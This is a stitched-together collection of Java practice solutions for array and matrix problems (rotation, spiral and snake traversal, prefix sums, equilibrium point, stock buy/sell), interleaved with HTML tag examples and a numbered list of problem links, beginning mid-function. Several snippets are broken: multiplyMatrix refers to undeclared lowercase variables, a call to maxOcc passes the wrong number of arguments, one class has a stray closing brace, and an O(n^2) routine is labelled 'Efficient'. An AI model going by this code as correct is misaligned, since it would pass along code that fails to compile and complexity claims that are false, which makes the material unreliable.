               matrix[i][j] = matrix[i][matrix[i].length-j-1];
               matrix[i][matrix[i].length-j-1] = temp;
           }
       } 
    }
}
class Solution
{
    //Function to exchange first column of a matrix with its last column.
    static void exchangeColumns(int matrix[][])
    {
       int temp = 0;
       for (int i=0; i<matrix.length; i++)
       {
            temp = matrix[i][0];
            matrix[i][0] = matrix[i][matrix[i].length-1];
            matrix[i][matrix[i].length-1] = temp; 
       }
    }
}
<!DOCTYPE html>
<html>
<head>
    <title>Example of HTML address tag </title>
</head>
<body>
    <address>
        Written by <a href="mailto:hello@example.com">Alson</a>.<br> 
        Contact us at:<br>
        street NO:, Hollywood<br>
        USA
    </address>
</body>
</html> 

class Solution
{
    //Function to get cofactor of matrix[p][q] in temp[][]. 
    static void getCofactor(int matrix[][], int temp[][], int p, int q, int n)
    {
        int i = 0, j = 0;

        for (int row = 0; row < n; row++)
        {
            for (int col = 0; col < n; col++)
            {
                //copying only those elements into temporary matrix 
                //which are not in given row and column.
                if(row != p && col != q)
                {
                    temp[i][j++] = matrix[row][col];

                    //if row is filled, we increase row index and
                    //reset column index.
                    if(j == n - 1)
                    {
                        j = 0;
                        i++;
                    }
                }
            }
         }
    }
    
    
    //Function for finding determinant of matrix.
    static int determinantOfMatrix(int matrix[][], int n)
    {
        int D = 0; 

        //base case
        if (n == 1)
            return matrix[0][0];

        //creating a list to store Cofactors.
        int temp[][]  = new int[n][n];

        int sign = 1;

        //iterating for each element of first row.
        for (int i = 0; i < n; i++)
        {
            //getting Cofactor of matrix[0][i].
            getCofactor(matrix, temp, 0, i, n);
            D += sign * matrix[0][i] * determinantOfMatrix(temp, n - 1);

            //terms are to be added with alternate sign so changing the sign.
            sign = -sign;
        }
        //returning the determinant.
        return D;
    }
}
class Solution
{
    //Function to multiply two matrices.
    static int[][] multiplyMatrix(int A[][], int B[][])
    {
        int n1 = a.length;
        int m1 = a[0].length;
        int n2 = b.length;
        int m2 = b[0].length;
        
        if(m1!=n2)
        {
            int arr0[][] = new int[1][1];
            arr0[0][0] = -1;
            return arr0;
        }
        
        int arr[][] = new int[n1][m2];
        
        for(int i = 0 ; i<n1 ; i++)
        for(int j = 0 ; j<m2 ; j++)
        for(int q = 0; q<n2 ; q++)
        arr[i][j]+= a[i][q]*b[q][j];
        
        return arr;
    }
}
class Solution
{
    //Function to return sum of upper and lower triangles of a matrix.
    static ArrayList<Integer> sumTriangles(int matrix[][], int n)
    {
        ArrayList<Integer> list=new ArrayList<>();
        int sum1=0;
        int sum2=0;
        for(int g=0; g<matrix.length; g++){
            for(int i=0, j=g; j<matrix.length; i++,j++){
                sum1+=matrix[i][j];
            }
        }
        list.add(sum1);
        for(int g=0; g<matrix.length; g++){
            for(int i=g,j=0; i<matrix.length; i++,j++){
                sum2+=matrix[i][j];
            }
        }
        list.add(sum2);
        return list;
    }
}
class Solution
{
    //Function to add two matrices.
    static int[][] sumMatrix(int A[][], int B[][])
    {
        int n = A.length, m = A[0].length;
        int res[][] = new int[0][0];
        //Check if two input matrix are of different dimensions
        if(n != B.length || m != B[0].length)
            return res;
        
        res = new int[n][m];
        for(int i=0;i<n;i++)
            for(int j=0;j<m;j++)
                res[i][j] = A[i][j] + B[i][j];
                
        return res;
    }
}
// Time Complexity : O(r * log(max - min) * logC)

import java.util.Arrays;

public class MedianInRowSorted
{
    static public int matMed(int mat[][], int r ,int c)
    {
    	int min = mat[0][0], max = mat[0][c-1];
    	for (int i=1; i<r; i++)
    	{
    		if (mat[i][0] < min)
    			min = mat[i][0];
    
    		if (mat[i][c-1] > max)
    			max = mat[i][c-1];
    	}
    
    	int medPos = (r * c + 1) / 2;
    	while (min < max)
    	{
    		int mid = (min + max) / 2;
    		int midPos = 0;
            int pos = 0;
    		for (int i = 0; i < r; ++i){
    			    pos = Arrays.binarySearch(mat[i],mid);
                    
                    if(pos < 0)
                        pos = Math.abs(pos) - 1;
                      
                    
                    else
                    {
                        while(pos < mat[i].length && mat[i][pos] == mid)
                            pos += 1;
                    }
                      
                    midPos = midPos + pos;
    		}
    		if (midPos < medPos)
    			min = mid + 1;
    		else
    			max = mid;
    	}
    	return min;
    }

    public static void main(String[] args)
    {
    	int r = 3, c = 5;
    	int m[][]= { {5,10,20,30,40}, {1,2,3,4,6}, {11,13,15,17,19} };
    	System.out.println("Median is " + matMed(m, r, c)); 
    	
    }
}
<!DOCTYPE html>
<html>
<head>
    <title>Example of HTML a tag</title>
</head>
<body>
<a href="https://www.elementtutorials.com/">ElementTutorials</a>
</body>
</html> 

// Efficient Code : Time Complexity : O(R + C)
 
import java.util.*;
import java.io.*;
 
class GFG 
{ 
	static int R = 4, C = 4;

	static void search(int mat[][], int x)
	{
		int i  = 0, j = C - 1;

		while(i < R && j >= 0)
		{
			if(mat[i][j] == x)
			{
				System.out.println("Found at (" + i + ", " + j + ")");
				return;
			}
			else if(mat[i][j] > x)
			{
				j--;
			}
			else
			{
				i++;
			}
		}
		System.out.println("Not Found");
	}

	public static void main(String args[]) 
    {
        int arr[][] = {{10, 20, 30, 40},
    				   {15, 25, 35, 45},
    				   {27, 29, 35, 45},
    				   {32, 33, 39, 50}};
    	int x = 29;	   

    	search(arr, x);

		
    } 
}
 
 
 
 
// Naive Code : Time Complexity : O(R * C)
 
	static int R = 4, C = 4;

	static void search(int mat[][], int x)
	{
		for(int i = 0; i < R; i++)
		{
			for(int j = 0; j < C; j++)
			{
				if(mat[i][j] == x)
				{
					System.out.println("Found at (" + i + ", " + j + ")");
					
					return;
				}
			}
		}

		System.out.println("Not Found");
	}
import java.util.*;
import java.io.*;

class GFG 
{ 
	static void printSpiral(int mat[][], int R, int C)
	{
		int top = 0, left = 0, bottom = R - 1, right = C - 1;

		while(top <= bottom && left <= right)
		{
			for(int i = left; i <= right; i++)
				System.out.print(mat[top][i] + " ");

			top++;

			for(int i = top; i <= bottom; i++)
				System.out.print(mat[i][right] + " ");
			
			right--;

			if(top <= bottom){
			for(int i = right; i >= left; i--)
				System.out.print(mat[bottom][i] + " ");

			bottom--;
			}

			if(left <= right){
			for(int i = bottom; i >= top; i--)
				System.out.print(mat[i][left] + " ");

			left++;
			}			
		}
	}

	public static void main(String args[]) 
    {
        int arr[][] = {{1, 2, 3, 4},
    				   {5, 6, 7, 8},
    				   {9, 10, 11, 12},
    				   {13, 14, 15, 16}};

    	printSpiral(arr, 4, 4);
    } 
}
// Efficient Code : Time Complexity : O(n^2), Auxiliary Space : O(1)
 
import java.util.*;
import java.io.*;
 
class GFG 
{ 
	static int n = 4;

	static void swap(int mat[][], int i, int j)
	{
			int temp = mat[i][j];
			mat[i][j] = mat[j][i];
			mat[j][i] = temp;
	}
	
	static void swap2(int low, int high, int i, int mat[][])
	{
	    	int temp = mat[low][i];
			mat[low][i] = mat[high][i];
			mat[high][i] = temp;
	}

	static void rotate90(int mat[][])
	{
		// Transpose
		for(int i = 0; i < n; i++)
			for(int j = i + 1; j < n; j++)
				swap(mat, i, j);
      
		// Reverse columns		
		for(int i = 0; i < n; i++)
		{
		    int low = 0, high = n - 1;
		    
		    while(low < high)
		    {
		        swap2(low, high, i, mat);
		        
		        low++;
		        high--;
		    }
		}
	}

	public static void main(String args[]) 
    {
        int arr[][] = {{1, 2, 3, 4},
    				   {5, 6, 7, 8},
    				   {9, 10, 11, 12},
    				   {13, 14, 15, 16}};

    	rotate90(arr);

    		for(int i = 0; i < n; i++)
			{
				for(int j = 0; j < n; j++)
				{
					System.out.print(arr[i][j]+" ");
				}

				System.out.println();
			}	
    }
}
 
 
 
 
// Naive Code : Time Complexity : O(n^2), Space Complexity : O(n^2)
 
	static int n = 4;

	static void rotate90(int mat[][])
	{
		int temp[][] = new int[n][n];

		for(int i = 0; i < n; i++)
			for(int j = 0; j < n; j++)
				temp[n - j - 1][i] = mat[i][j];

		for(int i = 0; i < n; i++)
			for(int j = 0; j < n; j++)
				mat[i][j] = temp[i][j];

	}

// last column becomes first row
// second last column becomes second row
// Efficient Code : Without Using Auxiliary Array

import java.util.*;
import java.io.*;

class GFG 
{ 
	static int n = 4;

	static void swap(int mat[][], int i, int j)
	{
			int temp = mat[i][j];
			mat[i][j] = mat[j][i];
			mat[j][i] = temp;
	}

	static void transpose(int mat[][])
	{

		for(int i = 0; i < n; i++)
			for(int j = i + 1; j < n; j++)
				swap(mat, i, j);
	}

	public static void main(String args[]) 
    {
        int arr[][] = {{1, 2, 3, 4},
    				   {5, 6, 7, 8},
    				   {9, 10, 11, 12},
    				   {13, 14, 15, 16}};

    	transpose(arr);

    		for(int i = 0; i < n; i++)
			{
				for(int j = 0; j < n; j++)
				{
					System.out.print(arr[i][j]+" ");
				}

				System.out.println();
			}	
    } 
}




// Naive Code : 

	static int n = 4;

	static void transpose(int mat[][])
	{
		int temp[][] = new int[n][n];

		for(int i = 0; i < n; i++)
			for(int j = 0; j < n; j++)
              	// copy
				temp[i][j] = mat[j][i]; // temp[i][j] = mat[i][j];

		for(int i = 0; i < n; i++)
			for(int j = 0; j < n; j++)
              	// copy back to original array
				mat[i][j] = temp[i][j];

	}
import java.util.*;
import java.io.*;

class GFG 
{ 
	static int R = 4, C = 4;

	static void bTraversal(int mat[][])
	{
		if(R == 1)
		{
			for(int i = 0; i < C; i++)
				System.out.print(mat[0][i] + " ");
		}
		else if(C == 1)
		{
			for(int i = 0; i < R; i++)
				System.out.print(mat[i][0] + " ");
		}
		else
		{
			for(int i = 0; i < C; i++)
				System.out.print(mat[0][i] + " ");
			for(int i = 1; i < R; i++)
				System.out.print(mat[i][C - 1] + " ");
			for(int i = C - 2; i >= 0; i--)
				System.out.print(mat[R - 1][i] + " ");
			for(int i = R - 2; i >= 1; i--)
				System.out.print(mat[i][0] + " ");
		}
	}

	public static void main(String args[]) 
    {
        int arr[][] = {{1, 2, 3, 4},
    				   {5, 6, 7, 8},
    				   {9, 10, 11, 12},
    				   {13, 14, 15, 16}};

    	bTraversal(arr);
    } 
}
import java.util.*;
import java.io.*;

class GFG 
{ 
	static int R = 4, C = 4;
	static void printSnake(int mat[][])
	{
		for(int i = 0; i < R; i++)
		{
			if(i % 2 == 0)
			{
				for(int j = 0; j < C; j++)
					System.out.print(mat[i][j] + " ");
			}
			else
			{
				for(int j = C - 1; j >= 0; j--)
					System.out.print(mat[i][j] + " ");
			}
		}
	}

	public static void main(String args[]) 
    {
        int arr[][] = {{1, 2, 3, 4},
    				   {5, 6, 7, 8},
    				   {9, 10, 11, 12},
    				   {13, 14, 15, 16}};

    	printSnake(arr);
    } 
}
class Solution
{
  //Function to find median of the array elements.  
  public int median(int A[],int N)
    {
      
        Arrays.sort(A);
        int k=N/2;
        if(N%2!=0){
            return A[k];
        }
        else{
            return (A[k-1]+A[k])/2;
        }
    }
    //Function to find median of the array elements.
    public int mean(int A[],int N)
    {
        int sum=0;
        for(int i=0;i<N;i++)
        {
            sum=sum+A[i];
        }
        return sum/N;
    }

}
class Solution {
    // Function to find element with more appearances between two elements in an
    // array.
    public int majorityWins(int arr[], int n, int x, int y) 
    {
        int countX=0;
        int countY=0;
        for(int i=0;i<n;i++)
        {
            if(arr[i]==x)
                countX++; 
             
             if(arr[i]==y)
                 countY++;
         }
         
        if(countX>countY)
            return x;
         
        else if(countX==countY && x<y)
            return x;
         
        else 
            return y;
    }
}
class Solution{
    
    // Function to find largest and second largest element in the array
    public static ArrayList<Integer> largestAndSecondLargest(int sizeOfArray, int arr[])
       {
           //code here.
           int largest=-1;
           int sec_largest=-1;
           for(int i=0;i<sizeOfArray;i++)
           {
               largest = Math.max(largest,arr[i]);
           }
           for(int i=0;i<sizeOfArray;i++)
           {
               if(arr[i]<largest)
               {
                   sec_largest= Math.max(sec_largest,arr[i]);
               }
           }
           ArrayList<Integer> al = new ArrayList<Integer>(2);
           al.add(largest);
           al.add(sec_largest);
           return al;
       }
    }
}
class StrongestNeighbour{
    
    // Function to find maximum for every adjacent pairs in the array.
    static void maximumAdjacent(int sizeOfArray, int arr[])
    {
        int sum=0;
        for(int i=0; i<sizeOfArray-1; i++)
        {
            sum = Math.max(arr[i], arr[i+1]);  
            System.out.print(sum+" ");
            
        }
    }
}
class Solution{
    //Function to reverse any part of the array.
    void reverse(ArrayList<Integer> arr, int n,int left, int right)
    {
           //reversing the sub-array from left index to right index.
            while (left < right) { 
                //swapping values at index stored at left and right index.
                int temp = arr.get(left); 
                arr.set(left, arr.get(right)); 
                arr.set(right, temp);
                
                //updating values of left and right index.
                left+=1; 
                right-=1;  
            }
    }
    
    //Function to reverse every sub-array group of size k.
    void reverseInGroups(ArrayList<Integer> arr, int n, int k) {
        for (int i = 0; i < n; i += k) { 
            
            //If (ith index +k) is less than total number of elements it means
            //k elements exist from current index so we reverse k elements 
            //starting from current index.
            if(i+k < n){ 
                //reverse function called to reverse any part of the array.
                reverse(arr,n,i,i+k-1);
            }
            //Else k elements from current index doesn't exist. 
            //In that case we just reverse the remaining elements.
            else{
                //reverse function called to reverse any part of the array.
                reverse(arr,n,i,n-1);
            }
           
        }
    }
}
class Solution{
    
    //Function to find minimum adjacent difference in a circular array.
    // arr[]: input array
    // n: size of array
    public static int minAdjDiff(int arr[], int n) {
    
       int min=Math.abs(arr[0]-arr[n-1]),diff;
        for(int i=0;i<n-1;i++)
        {
            diff=Math.abs(arr[i]-arr[i+1]);
            if(diff<min)
            min=diff;
        }
        return min;
       
    }
}
class Solution{

    //Function to swap two elements in the array.    
    public static void swap(int arr[], int x, int y){
        //Use of a temporary variable to swap the elements.
        int tmp = arr[x];
        arr[x] = arr[y];
        arr[y] = tmp;
    }
    //Function to sort the array into a wave-like array.
    public static void convertToWave(int arr[], int n){
        
        //Iterating over the array. 
        for(int i=0;i<n-1;i=i+2){
            //Swapping two neighbouring elements at a time.
		    swap(arr, i, i+1);
		}
        return;
    }
    
}
class Solution{
    //Function to count the frequency of all elements from 1 to N in the array.
    public static void frequencyCount(int arr[], int N, int P)
    {
        //Decreasing all elements by 1 so that the elements
        //become in range from 0 to n-1.
        int maxi = Math.max(P,N);
        int count[] = new int[maxi+1];
        Arrays.fill(count, 0);
        for(int i=0;i<N;i++){
            count[arr[i]]++; 
        }
        
        for(int i=0;i<N;i++){
            arr[i] = count[i+1];
        }
    }
}
class Solution {
    // Function to find equilibrium point in the array.
    public static int equilibriumPoint(long a[], int n) {

        //We store the sum of all array elements.
        long sum = 0;
        for (int i = 0; i < n; i++) 
           sum += a[i];

        //sum2 is used to store prefix sum.
        long sum2 = 0;
        int ans = -1;

        for (int i = 0; i < n; i++) {
            
            //Leaving out the value of current element from suffix sum.
            sum = sum - a[i];
            
            //Checking if suffix and prefix sums are same.
            if (sum2 == sum) {
                //returning the index or equilibrium point.
                return (i + 1);
            }
            
            //Adding the value of current element to prefix sum.
            sum2 = sum2 + a[i];
        }
        return -1;
    }
}
class Solution{
    //Function to find the leaders in the array.
    static ArrayList<Integer> leaders(int arr[], int n){
        
        int maxEle = arr[n-1];
        
        ArrayList<Integer> res = new ArrayList<>();
        
        //We start traversing the array from last element.
        for(int i=n-1; i>=0; i--) {
            
            //Comparing the current element with the maximum element stored. 
            //If current element is greater than max, we add the element.
		    if(arr[i] >= maxEle){
		        //Updating the maximum element.
		        maxEle = arr[i];
		        //Storing the current element in arraylist for leaders.
		        res.add(maxEle);
		    }
		}
		
		//Reversing the arraylist.
		Collections.reverse(res);
		//returning the arraylist.
        return res;
    }
    
}
class Solution
{
    //Function that puts all non-positive (0 and negative) numbers on left 
    //side of arr[] and return count of such numbers.
    static int segregate (int arr[], int size)
    {
        int j = 0, i;
        for(i = 0; i < size; i++)
        {
           if (arr[i] <= 0)  
           {
               int temp;
               //changing the position of negative numbers and 0.
               temp = arr[i];
               arr[i] = arr[j];
               arr[j] = temp;
               //incrementing count of non-positive integers.
               j++;  
           }
        } 
        return j;
    }
    
    //Finding the smallest positive missing number in an array 
    //that contains only positive integers.
    static int findMissingPositive(int arr[], int size)
    {
        int i;
        //marking arr[i] as visited by making arr[arr[i] - 1] negative. 
        //note that 1 is subtracted because indexing starts from 0 and 
        //positive numbers start from 1.
        for(i = 0; i < size; i++)
        {
            if(Math.abs(arr[i]) - 1 < size && arr[Math.abs(arr[i]) - 1] > 0)
            arr[Math.abs(arr[i]) - 1] = -arr[Math.abs(arr[i]) - 1];
        }
        
        for(i = 0; i < size; i++)
        {
            if (arr[i] > 0)
            {
                //returning the first index where value is positive.
                // 1 is added because indexing starts from 0.
                return i+1;
            }
        }
        return size+1;
    }
    
    //Function to find the smallest positive number missing from the array.
    static int missingNumber(int arr[], int size)
    {
        //first separating positive and negative numbers. 
        int shift = segregate (arr, size);
        
        int arr2[] = new int[size-shift];
        int j=0;
        //shifting the array to access only positive part.
        for(int i=shift;i<(size);i++)
        {
            arr2[j] = arr[i];
            j++;
        }
        
        //calling function to find result and returning it.
        return findMissingPositive(arr2, j);
    }
    
}
class Solution{

    //Function to rearrange  the array elements alternately.
    public static void rearrange(long arr[], int n)
    {
        //Initialising index of first minimum and first maximum element. 
    	int max_idx = n - 1, min_idx = 0; 
    
    	 //Storing maximum element of array.
    	long max_elem = arr[n - 1] + 1; 
    
    	for (int i = 0; i < n; i++) { 
    	    
    		//At even index, we have to put maximum elements in decreasing order. 
    		if (i % 2 == 0) { 
    			arr[i] += (arr[max_idx] % max_elem) * max_elem; 
    			//Updating maximum index.
    			max_idx--; 
    		} 
    
    		//At odd index, we have to put minimum elements in increasing order. 
    		else { 
    			arr[i] += (arr[min_idx] % max_elem) * max_elem; 
    			//Updating minimum index.
    			min_idx++; 
    		} 
    	} 
    
    	//Dividing array elements by maximum element to get the result. 
    	for (int i = 0; i < n; i++) 
    		arr[i] = arr[i] / max_elem;
        
    }
    
}
class Solution
{
    //Function to rearrange an array so that arr[i] becomes arr[arr[i]]
    //with O(1) extra space. 
    static void arrange(long arr[], int n)
    {
        int i = 0;
        
        //Increasing all values by (arr[arr[i]]%n)*n to store the new element.
        for(i = 0; i < n; i++)
         arr[(int)i]+=(arr[(int)arr[(int)i]]%n)*n;
        
        //Since we had multiplied each element with n.
        //We will divide by n too to get the new element at that 
        //position after rearranging.
        for(i = 0; i < n; i++)
            arr[(int)i] = arr[(int)i]/n;
    }
}
class Solution{
    // Function to find the maximum index difference.
    static int maxIndexDiff(int arr[], int n) { 
        if(n==1){
            return 0;
        }
        int RMax[] = new int[n]; 
        int LMin[] = new int[n]; 
        
        //Constructing LMin[] such that LMin[i] stores the minimum value 
        //from (arr[0], arr[1], ... arr[i]).
        LMin[0] = arr[0];
        for (int i = 1; i < n; ++i) 
            LMin[i] = Integer.min(arr[i], LMin[i - 1]);
            
        //Constructing RMax[] such that RMax[j] stores the maximum value 
        //from (arr[j], arr[j+1], ..arr[n-1]). 
        RMax[n - 1] = arr[n - 1]; 
        for (int j = n - 2; j >= 0; --j)
            RMax[j] = Integer.max(arr[j], RMax[j + 1]); 
            
        int i = 0, j = 0, maxDiff = -1; 
        //Traversing both arrays from left to right to find optimum j-i.
        //This process is similar to merge() of MergeSort.
        while (j < n && i < n) { 
            if (LMin[i] <= RMax[j]) { 
                //Updating the maximum difference.
                maxDiff = Integer.max(maxDiff, j - i); 
                j++; 
            } else
                i++;
        }
        //returning the maximum difference.
        return maxDiff; 
    }
}
class Interval {
    int buy;
    int sell;
}

class Solution{
    //Function to find the days of buying and selling stock for max profit.
    ArrayList<ArrayList<Integer> > stockBuySell(int A[], int n) {
        
        ArrayList<ArrayList<Integer> > result = new ArrayList<ArrayList<Integer> >();
      //Prices must be given for at least two days else return the empty result.
        if(n==1){
            return result;
        }
        
        //Creating solution vector.
        ArrayList<Interval> sol = new ArrayList<Interval>();
        int i=0, cnt=0;
        //Traversing through given price array.
        while (i < n-1) {
            //Finding Local Minima. Note that the limit of loop is (n-2)
            //as we are comparing present element to the next element.
            while ((i < n-1) && (A[i+1] <= A[i])){
                i++;
            }
            //If we reach the end, we break loop as no further 
            //solution is possible.
            if (i == n-1){
                break;
            }
            Interval e = new Interval();
            //Storing the index of minima which gives the day of buying stock.
            e.buy = i++;
 
            //Finding Local Maxima. Note that the limit of loop is (n-1)
            //as we are comparing present element to previous element.
            while ((i < n) && (A[i] >= A[i-1]))
                i++;
 
            //Storing the index of maxima which gives the day of selling stock.
            e.sell = i-1;
            sol.add(e);
            //Incrementing count of buy/sell pairs.
            cnt++;
        }
        if(cnt==0){
            return result;
        } else {
            //Storing the buy/sell pairs in a list.
            for(int j=0; j<sol.size(); j++){
                result.add(new ArrayList<Integer>()); 
                result.get(j).add(0, sol.get(j).buy);
                result.get(j).add(1, sol.get(j).sell);
            }
        }
        //returning the result.
        return result;
    } 
    
}
import java.io.*;

class GFG {

	// Function to check if an array is
	// Sorted and rotated clockwise
	static boolean checkIfSortRotated(int arr[], int n)
	{
		// Initializing two variables x,y as zero.
		int x = 0, y = 0;

		// Traversing array 0 to last element.
		// n-1 is taken as we used i+1.
		for (int i = 0; i < n - 1; i++) {
			if (arr[i] < arr[i + 1])
				x++;
			else
				y++;
		}

		// If till now both x,y are greater
		// then 1 means array is not sorted.
		// If both any of x,y is zero means
		// array is not rotated.
		if (x == 1 || y == 1) {
			// Checking for last element with first.
			if (arr[n - 1] < arr[0])
				x++;
			else
				y++;

			// Checking for final result.
			if (x == 1 || y == 1)
				return true;
		}
		// If still not true then definitely false.
		return false;
	}

	// Driver code
	public static void main(String[] args)
	{
		int arr[] = { 5, 1, 2, 3, 4 };

		int n = arr.length;

		// Function Call
		boolean x = checkIfSortRotated(arr, n);
		if (x == true)
			System.out.println("YES");
		else
			System.out.println("NO");
	}
}
1.) Maximum subarray size, such that all subarrays of that size have sum less than k: 
-------------------------------------------------------------------------------------
    Given an array of n positive integers and a positive integer k, the task is to find the maximum 	subarray size such that all subarrays of that size have the sum of elements less than k.

    https://www.geeksforgeeks.org/maximum-subarray-size-subarrays-size-sum-less-k/

2.) Find the prime numbers which can written as sum of most consecutive primes: 
-------------------------------------------------------------------------------
    Given an array of limits. For every limit, find the prime number which can be written as the 	 sum of the most consecutive primes smaller than or equal to the limit.
    
    https://www.geeksforgeeks.org/find-prime-number-can-written-sum-consecutive-primes/

3.) Longest Span with same Sum in two Binary arrays : 
-----------------------------------------------------
    Given two binary arrays, arr1[] and arr2[] of the same size n. Find the length of the longest       common span (i, j) where j >= i such that arr1[i] + arr1[i+1] + …. + arr1[j] = arr2[i] +           arr2[i+1] + …. + arr2[j].
    
    https://www.geeksforgeeks.org/longest-span-sum-two-binary-arrays/

3.) Maximum subarray sum modulo m: 
----------------------------------
    Given an array of n elements and an integer m. The task is to find the maximum value of the sum 	of its subarray modulo m i.e find the sum of each subarray mod m and print the maximum value of 	this modulo operation.
    
    https://www.geeksforgeeks.org/maximum-subarray-sum-modulo-m/

4.) Maximum subarray size, such that all subarrays of that size have sum less than k: 
-------------------------------------------------------------------------------------
	Given an array of n positive integers and a positive integer k, the task is to find the maximum 	subarray size such that all subarrays of that size have sum of elements less than k.
    
    https://www.geeksforgeeks.org/maximum-subarray-size-subarrays-size-sum-less-k/

5.) Minimum cost for acquiring all coins with k extra coins allowed with every coin: 
---------------------------------------------------------------------------------
	You are given a list of N coins of different denominations. you can pay an amount equivalent to 	any 1 coin and can acquire that coin. In addition, once you have paid for a coin, we can choose 	at most K more coins and can acquire those for free. The task is to find the minimum amount 	required to acquire all the N coins for a given value of K.

    https://www.geeksforgeeks.org/minimum-cost-for-acquiring-all-coins-with-k-extra-coins-allowed-with-every-coin/
    
6.) Random number generator in arbitrary probability distribution fashion: 
----------------------------------------------------------------------
	Given n numbers, each with some frequency of occurrence. Return a random number with a 			probability proportional to its frequency of occurrence.
    
    https://www.geeksforgeeks.org/random-number-generator-in-arbitrary-probability-distribution-fashion/
// Efficient : (HASHING Using Prefix Sum) : Time Complexity: O(n), Auxiliary Space: O(n)

class LargestSubArray {

	// This function Prints the starting and ending
	// indexes of the largest subarray with equal
	// number of 0s and 1s. Also returns the size
	// of such subarray.

	int findSubArray(int arr[], int n)
	{
		int sum = 0;
		int maxsize = -1, startindex = 0;
		int endindex = 0;

		// Pick a starting point as i

		for (int i = 0; i < n - 1; i++) {
			sum = (arr[i] == 0) ? -1 : 1;

			// Consider all subarrays starting from i

			for (int j = i + 1; j < n; j++) {
				if (arr[j] == 0)
					sum += -1;
				else
					sum += 1;

				// If this is a 0 sum subarray, then
				// compare it with maximum size subarray
				// calculated so far

				if (sum == 0 && maxsize < j - i + 1) {
					maxsize = j - i + 1;
					startindex = i;
				}
			}
		}
		endindex = startindex + maxsize - 1;
		if (maxsize == -1)
			System.out.println("No such subarray");
		else
			System.out.println(startindex + " to " + endindex);

		return maxsize;
	}

	/* Driver program to test the above functions */

	public static void main(String[] args)
	{
		LargestSubArray sub;
		sub = new LargestSubArray();
		int arr[] = { 1, 0, 0, 1, 0, 1, 1 };
		int size = arr.length;

		sub.findSubArray(arr, size);
	}
}
// A Java program to find
// if there is a zero sum subarray
import java.util.HashSet;
import java.util.Set;

class ZeroSumSubarray
{
	// Returns true if arr[]
	// has a subarray with sero sum
	static Boolean subArrayExists(int arr[])
	{
		// Creates an empty hashset hs
		Set<Integer> hs = new HashSet<Integer>();

		// Initialize sum of elements
		int sum = 0;

		// Traverse through the given array
		for (int i = 0; i < arr.length; i++)
		{
			// Add current element to sum
			sum += arr[i];

			// Return true in following cases
			// a) Current element is 0
			// b) sum of elements from 0 to i is 0
			// c) sum is already present in hash map
			if (arr[i] == 0
				|| sum == 0
				|| hs.contains(sum))
				return true;

			// Add sum to hash set
			hs.add(sum);
		}

		// We reach here only when there is
		// no subarray with 0 sum
		return false;
	}

	// Driver code
	public static void main(String arg[])
	{
		int arr[] = { -3, 2, 3, 1, 6 };
		if (subArrayExists(arr))
			System.out.println(
				"Found a subarray with 0 sum");
		else
			System.out.println("No Such Sub Array Exists!");
	}
}
// Java program to determine if array arr[]
// can be split into three equal sum sets.

// Time Complexity: O(n), Auxiliary Space: O(1)

import java.io.*;
import java.util.*;

public class GFG {
	
	// Function to determine if array arr[]
	// can be split into three equal sum sets.
	static int findSplit(int []arr, int n)
	{
		int i;
	
		// variable to store prefix sum
		int preSum = 0;
	
		// variables to store indices which
		// have prefix sum divisible by S/3.
		int ind1 = -1, ind2 = -1;
	
		// variable to store sum of
		// entire array.
		int S;
	
		// Find entire sum of the array.
		S = arr[0];
		for (i = 1; i < n; i++)
			S += arr[i];
	
		// Check if array can be split in
		// three equal sum sets or not.
		if(S % 3 != 0)
			return 0;
		
		// Variables to store sum S/3
		// and 2*(S/3).
		int S1 = S / 3;
		int S2 = 2 * S1;
	
		// Loop until second last index
		// as S2 should not be at the last
		for (i = 0; i < n-1; i++)
		{
			preSum += arr[i];
			
		// If prefix sum is equal to S/3
		// store current index.
			if (preSum == S1 && ind1 == -1)
				ind1 = i;
			
		// If prefix sum is equal to 2*(S/3)
		// store current index.
			else if(preSum == S2 && ind1 != -1)
			{
				ind2 = i;
				
				// Come out of the loop as both the
				// required indices are found.
				break;
			}
		}
	
		// If both the indices are found
		// then print them.
		if (ind1 != -1 && ind2 != -1)
		{
			System.out.print("(" + ind1 + ", "
							+ ind2 + ")");
			return 1;
		}
	
		// If indices are not found return 0.
		return 0;
	}
	
	// Driver code
	public static void main(String args[])
	{
		int []arr = { 1, 3, 4, 0, 4 };
		int n = arr.length;
		if (findSplit(arr, n) == 0)
			System.out.print("-1");
	}
}

// Output: (1, 2)
import java.util.*;
import java.io.*;

class GFG 
{ 
    static int maxOcc(int L[], int R[], int n, int maxx)
    {	
	    	int arr[] = new int[1000000];

	    	for(int i = 0; i < n; i++)
	    	{
	    		arr[L[i]]++;

	    		arr[R[i] + 1]-=1; // arr[R[i] + 1]--;
	    	}

	    	int maxm = arr[0], res = 0;

	    	for(int i = 1; i < maxx; i++) // maxx = 1000000
	    	{
	    		arr[i] += arr[i - 1];

	    		if(maxm < arr[i])
	    		{
	    			maxm = arr[i];

	    			res = i;
	    		}
	    	}

	    	return res;
    }
    public static void main(String args[]) 
    { 
       int L[] = {1, 2, 3}, R[] = {3, 5, 7}, n = 3;

      System.out.println(maxOcc(L, R, n)); 
    } 
}
// Efficient Method : Time Complexity : O(n), Auxilliary space : O(1)

import java.util.*;
import java.io.*;

class GFG 
{ 
    static boolean checkEquilibrium(int arr[], int n)
    {
    	int sum = 0;

    	for(int i = 0; i < n; i++)
    	{
    		sum += arr[i];
    	}

    	int l_sum = 0;

    	for(int i = 0; i < n; i++)
    	{
    		if(l_sum == sum - arr[i])
    			return true;

    		l_sum += arr[i];

    		sum -= arr[i];
    	}

    	return false;
    }

    public static void main(String args[]) 
    { 
       int arr[] = {3, 4, 8, -9, 20, 6}, n = 6;

       System.out.println(checkEquilibrium(arr, n));
    } 
}




// Naive Method : Time Complexity : O(n^2)

    static boolean checkEquilibrium(int arr[], int n)
    {
    	for(int i  = 0; i < n; i++)
    	{
    		int l_sum = 0, r_sum = 0;

    		for(int j = 0; j < i; j++)
    			l_sum += arr[j];

    		for(int j = i + 1; j < n; j++)
    			r_sum += arr[j];

    		if(l_sum == r_sum)
    			return true;
    	}

    	return false;
    }
import java.util.*;
import java.io.*;

class GFG 
{ 
	// For preprocessing : O(n)
    static int[] preSum(int arr[], int n)
    {	
    	int prefix_sum[] = new int[n];

    	prefix_sum[0] = arr[0];

    	for(int i = 1; i < n; i++)
    	{
    		prefix_sum[i] = prefix_sum[i - 1] + arr[i];
    	}
    	
    	return prefix_sum;
    }

	// For answer queries : O(1)
    static int getSum(int prefix_sum[], int l, int r)
    {
    	if(l != 0)
    		return prefix_sum[r] - prefix_sum[l - 1];
    	else
    		return prefix_sum[r];
    }
    
    public static void main(String args[]) 
    { 
       int arr[] = {2, 8, 3, 9, 6, 5, 4}, n = 7;

       int prefix_sum[] = preSum(arr, n);

